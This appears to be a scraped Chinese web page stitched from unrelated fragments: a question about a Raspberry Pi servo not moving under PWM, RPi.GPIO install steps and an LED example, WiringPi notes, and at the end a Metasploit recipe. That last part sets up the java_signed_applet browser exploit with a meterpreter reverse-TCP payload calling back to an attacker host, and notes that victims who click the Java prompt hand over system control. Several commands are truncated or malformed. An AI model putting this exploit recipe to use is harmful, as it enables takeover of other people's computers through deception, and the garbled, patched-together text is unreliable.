13518219792
是这样我用树莓派的gpio口，通过python的rpi.gpio 这个模块输出pwm波，频率是50hz，占空比是5%~10%，可是舵机根本不动，只有在刚插上的时候会不规律的动一下，
从网站建设到定制行业解决方案，为提供成都做网站、成都网站制作服务体系，各种行业企业客户提供网站建设解决方案，助力业务快速发展。创新互联将不断加快创新步伐，提供优质的建站服务。
不同操作系统安装GPIO的命令是不同的，这里以树莓派的官方操作系统Raspbian为例，说明如何安装GPIO库。Raspbian中安装了两个Python版本，分别是2.7.3和3.2.2。Python2.x的安装包会一python为前缀，而Python3.x的安装包回忆python3为前缀。Python2安装GPIO库需要输入命令：1sudoapt-getinstallpython-rpi.gpioPython3安装GPIO库需要输入命令：1sudoapt-getinstallpython
python GPIO
1、先安装python-dev，输入以下指令。
sudo
apt-get install python-dev
2、安装RPi.GPIO，依次输入以下指令。
1)下载：$ wget
2)解压缩：$ tar xvzf RPi.GPIO-0.5.3a.tar.gz
3)进入解压之后的目录 ：$ cd RPi.GPIO-0.5.3a
4)启动安装 ：$ sudo python setup.py install
3、例子：
[python] view plain copy
# -*- coding: utf-8 -*-
import RPi.GPIO as GPIO
import time
# BOARD编号方式，基于插座引脚编号
GPIO.setmode(GPIO.BOARD)
# 输出模式
GPIO.setup(11, GPIO.OUT)
while True:
GPIO.output(11, GPIO.HIGH)
time.sleep(1)
GPIO.output(11, GPIO.LOW)
time.sleep(1)
4、执行：
sudo python led.py
5、说明：
1)GPIO.setmode(GPIO.BOARD)，采用插座引脚编号方式。
2)由于采用插座引脚编号方式，此处的11脚相当于BCM2835寄存器编号方式的引脚11。
python GPIO
1、说明：
WiringPi是应用于树莓派平台的GPIO控制库函数，WiringPi遵守GUN Lv3。wiringPi使用C或者C++开发并且可以被其他语言包转，例如python、ruby或者PHP等。
wiringPi包括一套gpio控制命令，使用gpio命令可以控制树莓派GPIO管脚。用户可以利用gpio命令通过shell脚本控制或查询
GPIO管脚。wiringPi是可以扩展的，可以利用wiringPi的内部模块扩展模拟量输入芯片，可以使用
MCP23x17/MCP23x08（I2C
或者SPI）扩展GPIO接口。另外可通过树莓派上的串口和Atmega（例如arduino等）扩展更多的GPIO功能。另外，用户可以自己编写扩展模
块并把自定义的扩展模块集成到wiringPi中。WiringPi支持模拟量的读取和设置功能，不过在树莓派上并没有模拟量设备。但是使用
WiringPi中的软件模块却可以轻松地应用AD或DA芯片。
需要以以root权限运行python程序。
程序上使用的Python操作端口（需要安装PythonGPIO库），写了个脚本，然后再通过php调用这个脚本实现开门。
所说方法用C程序更换用户UID?编译好执行（失败，还是单独执行可以调用不可以）变通，让这个脚本主动轮询某个文件内值，php控制这个文件（至少能用起来，但总感觉这个方法不怎么好）修改/etc/sudoers文件，赋予特定用户特定权限。
安装 Sun Java JDK 和 rjb gem, 并且设置环境变量
—–code—–
root@bt: apt-get install sun-java6-jdk
root@bt: gem install rjb
变量设置
root@bt: echo “JAVA_HOME=/usr/lib/jvm/java-6-sun” /etc/bash.bashrc
root@bt: echo “export JAVA_HOME” /etc/bash.bashrc
root@bt: JAVA_HOME=/usr/lib/jvm/java-6-sun
root@bt: export JAVA_HOME
—end code——
—start metasploit—–
use exploit/multi/browser/java_signed_applet
set TARGET 1 //请注意你的目标
set SRVHOST 10.2.4.200
set SRVPORT 80
set URIPATH pentura
set PAYLOAD /meterpreter/reverse_tcp
set LHOST 10.2.4.200
set LPORT 4444
—end metasploit——–
———————————————————————-
如果当有一台机子访问了你的80端口
METASPLOIT控制端里将会显示详细的信息
———————————————————————
访问你80端口的机子浏览器会跳出java窗口，如果目标点击确定，你就能取得系统权限
你还可以修改java小程序的，以便实现更加真是的ssl.
